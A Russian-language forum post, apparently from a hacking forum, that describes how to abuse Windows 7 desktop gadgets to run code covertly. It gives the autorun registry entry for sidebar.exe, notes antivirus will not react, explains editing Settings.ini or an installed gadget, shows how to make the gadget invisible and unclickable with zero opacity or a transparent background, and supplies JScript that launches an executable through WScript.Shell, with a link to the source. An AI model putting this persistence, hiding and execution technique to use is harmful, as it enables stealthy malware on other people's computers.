Авторские статьи Win7 Gadget's

Discussion in 'Статьи' started by e17, 6 Apr 2014.

  1. e17

    e17 Member

    Joined:
    8 Feb 2013
    Messages:
    47
    Likes Received:
    57
    Reputations:
    81
    В один прекрасный день я заинтересовался как устроены виндовые гаджеты изнутри.
    Гаджет - это такая хрень которая появилась в win7, можно поставить красивые часики или чекер погоды.

    [​IMG]

    Ну вы поняли.

    Итак, что же них интересного? Дело в том, что гаджет это html страничка, использующая css и поддерживающая VBA и JScript (не путать с браузерным обрезком).
    2 этих скриптовых языка имею весьма широкое применение.

    Подробности:

    В win7 существует файл "C:\Users\user\AppData\Local\Microsoft\Windows Sidebar\Settings.ini", он отвечает за настройки "sidebar.exe".
    Когда вы перетаскиваете гаджет на рабочий стол, в этот файл записываются его настройки, а в реестр прописывается:
    Code:
    
    [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run]
    "Sidebar"="C:\\Program Files\\Windows Sidebar\\sidebar.exe /autoRun"
     
    Settings.ini Имеет достаточно банальную структуру, 
    [Section 1]
    PrivateSetting_GadgetName="путь до папки с гаджетом"
    PrivateSetting_GadgetOpacity="100" - непрозрачность, установите её в ноль и гаджет станет невидим.
    [Hashes] - видимо контрольная сумма, мне кажется это превентивная мера от вирусов, но я не замечал что бы win7 ругалась при её отсутствии.
     
    Инсталляция:
    Стандартные гаджеты лежат в "C:\Program Files\Windows Sidebar\Gadgets", но новые складываются в "C:\Users\user\AppData\Local\Microsoft\Windows Sidebar\Gadgets"

    Собственно тут напрашивается метод эксплуатации:
    1) ставим на авторан "sidebar.exe" - он легален и ав не будет реагировать.
    2 )меняем "Settings.ini" или код уже установленного гаджета

    Перейдём к практике:

    Я взял чей-то гаджет и выкинул из него половину мусора, остался только рабочий каркас.
    При запуске sidebar отрисовывал белое поле, даже если html был пустой.

    Примерно так:
    [​IMG]
    Тут 2 варианта сокрытия, либо установить непрозрачность в ноль, либо поставить на фон через JS прозрачное изображение.
    Code:
        bd=document.body.style;
        bd.width=36; 
        bd.height=36; 
        bd.background='url(images/00.png) no-repeat';
    
    Я намерено увеличил размер до 36, хотя в моём случае размер прозрачного изображения 32 на 32:
    [​IMG]

    Если Изображение полностью прозрачно, то на него нельзя навести курсор и соотвественно менюшка не появится (!).

    И наконец, самое вкусное: как всё это эксплуатировать.
    Code:
     
    var WshShell = new ActiveXObject("WScript.Shell"); 
          WshShell.Run ("\\test.exe",1);
    
    Прикладываю исходники, развлекайтесь.
    [​IMG]
    https://www.dropbox.com/s/7q4geyclgru8mr8/en-US.zip
     
    #1 e17, 6 Apr 2014
    Last edited: 6 Apr 2014